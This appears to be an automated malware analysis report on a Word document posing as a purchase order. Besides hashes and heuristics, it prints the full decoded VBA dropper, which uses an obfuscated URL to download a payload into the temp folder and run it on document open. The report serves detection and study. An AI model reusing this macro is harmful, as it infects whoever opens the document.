Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ffee1a33c084360b…

MALICIOUS

Office (OLE)

93.0 KB Created: 2017-10-17 01:08:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 05c6623297acb077603915d37bc8c750 SHA-1: 2de2af27af8923da2168bcc81953f373ecc52d70 SHA-256: ffee1a33c084360b24c5b987b80887a2d77248224dbd6a0b6574ff9cef74bdd6
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro that utilizes CreateObject and Environ() calls. Critical heuristics indicate that the VBA code downloads and executes a file from an HTTP resource. The document body presents a fake purchase order to lure the user into opening the malicious document.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    WHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWP = LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX = CreateObject("microsoft.xmlhttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    VZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHP = Environ("tmp") + SPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINY("hOabVZ:q„q")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://mail.google.com/mail/u/1/h/11qaal8dyddfc/?&th=1672bcb775f351b3&d=u&n=0&v=c&s=m Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9603 bytes
SHA-256: cfab83a866033f1bdcef89180caf6494bc01be5a76ff84dac3bd2af5fc0cc64f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Function SPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINY(ByVal s As String)
Dim DNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHPRSOBIFW As Integer
DNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHPRSOBIFW = 12
        Dim RSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMB As String
Dim KZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMT As String
        For i = 1 To Len(s)
            RSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMB = Mid(s, i, 1)
            RSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMB = Chr(Asc(RSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMB) - DNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHPRSOBIFW)
            KZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMT = KZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMT & RSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMB
        Next
        SPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINY = KZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMT
    End Function

Private Sub Document_Open()
Dim LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX
Set LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX = CreateObject("microsoft.xmlhttp")
Dim VZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHP
Dim THRHSCICBXHFQINQOUDEOPTGWLSJMVZUKIIHKDYDRFXGIJFRGVNLFPLGNSKJDWKVCJZIBDQKJGPNYKVYWDFMWXCHETBKUEB
Set THRHSCICBXHFQINQOUDEOPTGWLSJMVZUKIIHKDYDRFXGIJFRGVNLFPLGNSKJDWKVCJZIBDQKJGPNYKVYWDFMWXCHETBKUEB = CreateObject("Shell.Application")

VZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHP = Environ("tmp") + SPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINY("hOabVZ:q„q")
LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX.Open "GET", SPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINY("t€€|F;;ƒƒƒ:ƒƒ|p�nmu:o{y;ƒ|9o{z€qz€;|x�suz ;vm‚;uz‚:q„q"), False
LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX.send
WHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWP = LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX.responseBody
If LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX.Status = 200 Then
Set LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO = CreateObject("adodb.stream")
LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO.Open
LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO.Type = 1
LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO.Write WHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWP
LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO.SaveToFile VZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHP, 2
LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO.Close
End If
THRHSCICBXHFQINQOUDEOPTGWLSJMVZUKIIHKDYDRFXGIJFRGVNLFPLGNSKJDWKVCJZIBDQKJGPNYKVYWDFMWXCHETBKUEB.Open (VZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHP)


End Sub

Attribute VB_Name = "NewMacros"
Sub doc()
'
' doc Macro
'
'

End Sub

' Processing file: /tmp/qstore_netc9j49
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4632 bytes
' Line #0:
' 	FuncDefn (Function LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX(ByVal i As String, id_FFFE As Variant))
' Line #1:
' 	Dim 
' 	VarDefn VZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHP (As Integer)
' Line #2:
' 	LitDI2 0x000C 
' 	St VZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHP 
' Line #3:
' 	Dim 
' 	VarDefn THRHSCICBXHFQINQOUDEOPTGWLSJMVZUKIIHKDYDRFXGIJFRGVNLFPLGNSKJDWKVCJZIBDQKJGPNYKVYWDFMWXCHETBKUEB (As String)
' Line #4:
' 	Dim 
' 	VarDefn WHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWP (As String)
' Line #5:
' 	StartForVariable 
' 	Ld POLUSEPCEDIKRCDHMKYGPZJHBRVVVXQMQFMLTVWSFMJBSTERTBGQXRKXJIWNVOQEQWTDBMXKGEJSZKEJUSHI 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld i 
' 	FnLen 
' 	For 
' Line #6:
' 	Ld i 
' 	Ld POLUSEPCEDIKRCDHMKYGPZJHBRVVVXQMQFMLTVWSFMJBSTERTBGQXRKXJIWNVOQEQWTDBMXKGEJSZKEJUSHI 
' 	LitDI2 0x0001 
' 	ArgsLd Mid 0x0003 
' 	St THRHSCICBXHFQINQOUDEOPTGWLSJMVZUKIIHKDYDRFXGIJFRGVNLFPLGNSKJDWKVCJZIBDQKJGPNYKVYWDFMWXCHETBKUEB 
' Line #7:
' 	Ld THRHSCICBXHFQINQOUDEOPTGWLSJMVZUKIIHKDYDRFXGIJFRGVNLFPLGNSKJDWKVCJZIBDQKJGPNYKVYWDFMWXCHETBKUEB 
' 	ArgsLd JIWNVOQEQWTDBMXKGEJSZKEJUSHIXILOJZEEDGRUYNUTCEFBNURJZCLZCJHYGSSGKQFOEQYMYFCLDNGLO 0x0001 
' 	Ld VZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHP 
' 	Sub 
' 	ArgsLd CreateObject 0x0001 
' 	St THRHSCICBXHFQINQOUDEOPTGWLSJMVZUKIIHKDYDRFXGIJFRGVNLFPLGNSKJDWKVCJZIBDQKJGPNYKVYWDFMWXCHETBKUEB 
' Line #8:
' 	Ld WHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWP 
' 	Ld THRHSCICBXHFQINQOUDEOPTGWLSJMVZUKIIHKDYDRFXGIJFRGVNLFPLGNSKJDWKVCJZIBDQKJGPNYKVYWDFMWXCHETBKUEB 
' 	Concat 
' 	St WHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWP 
' Line #9:
' 	StartForVariable 
' 	Next 
' Line #10:
' 	Ld WHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWP 
' 	St LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX 
' Line #11:
' 	EndFunc 
' Line #12:
' Line #13:
' 	FuncDefn (Private Sub PJCPBHOFNGIVPOLUSEPCEDIKRCDHMKYGPZJHBRVVVXQMQFMLTVWSFMJBSTERTBGQXRKXJIWNVOQEQWTDBMXKGEJSZKEJUSHI())
' Line #14:
' 	Dim 
' 	VarDefn LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO
' Line #15:
' 	SetStmt 
' 	LitStr 0x0011 "microsoft.xmlhttp"
' 	ArgsLd send 0x0001 
' 	Set LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO 
' Line #16:
' 	Dim 
' 	VarDefn id_0280
' Line #17:
' 	Dim 
' 	VarDefn id_0282
' Line #18:
' 	SetStmt 
' 	LitStr 0x0011 "Shell.Application"
' 	ArgsLd send 0x0001 
' 	Set id_0282 
' Line #19:
' Line #20:
' 	LitStr 0x0003 "tmp"
' 	ArgsLd Status 0x0001 
' 	LitStr 0x000A "hOabVZ:q„q"
' 	ArgsLd LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX 0x0001 
' 	Add 
' 	St id_0280 
' Line #21:
' 	LitStr 0x0003 "GET"
' 	LitStr 0x0036 "t€€|F;;ƒƒƒ:ƒƒ|p�nmu:o{y;ƒ|9o{z€qz€;|x�suz ;vm‚;uz‚:q„q"
' 	ArgsLd LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX 0x0001 
' 	LitVarSpecial (False)
' 	Ld LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO 
' 	ArgsMemCall Open 0x0003 
' Line #22:
' 	Ld LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO 
' 	ArgsMemCall CEFBNURJZCLZCJHYGSSGKQFOEQYMYFCLDNGLOMRBILMRDZPQGJSWRIFFFHZDHPCCKFGCODSRIDNIEKPHHBBOS 0x0000 
' Line #23:
' 	Ld LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO 
' 	MemLd _B_var_Environ 
' 	St id_0284 
' Line #24:
' 	Ld LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO 
' 	MemLd _B_var_HHBBOSYMWMYHNHGDMKVOTWUZIJTUZLCQXORBFZPNNNPIEIWKDLNOKWLBSQLVQMSXPPJCPBHOFNGIVPOLUSEPCEDIKRCDHMK 
' 	LitDI2 0x00C8 
' 	Eq 
' 	IfBlock 
' Line #25:
' 	SetStmt 
' 	LitStr 0x000C "adodb.stream"
' 	ArgsLd send 0x0001 
' 	Set id_0286 
' Line #26:
' 	Ld id_0286 
' 	ArgsMemCall Open 0x0000 
' Line #27:
' 	LitDI2 0x0001 
' 	Ld id_0286 
' 	MemSt Type 
' Line #28:
' 	Ld id_0284 
' 	Ld id_0286 
' 	ArgsMemCall Xor 0x0001 
' Line #29:
' 	Ld id_0280 
' 	LitDI2 0x0002 
' 	Ld id_0286 
' 	ArgsMemCall _B_var_i 0x0002 
' Line #30:
' 	Ld id_0286 
' 	ArgsMemCall Close 0x0000 
' Line #31:
' 	EndIfBlock 
' Line #32:
' 	Ld id_0280 
' 	Paren 
' 	Ld id_0282 
' 	ArgsMemCall Open 0x0001 
' Line #33:
' Line #34:
' Line #35:
' 	EndSub 
' Macros/VBA/NewMacros - 1014 bytes
' Line #0:
' 	FuncDefn (Sub XJIWNVOQEQWTDBMXKGEJSZKEJUSHIXILOJZEEDGRUYNUTCEFBNURJZCLZCJHYGSSGKQFOEQYMYFCLDNGLOM())
' Line #1:
' 	QuoteRem 0x0000 0x0000 ""
' Line #2:
' 	QuoteRem 0x0000 0x000A " doc Macro"
' Line #3:
' 	QuoteRem 0x0000 0x0000 ""
' Line #4:
' 	QuoteRem 0x0000 0x0000 ""
' Line #5:
' Line #6:
' 	EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.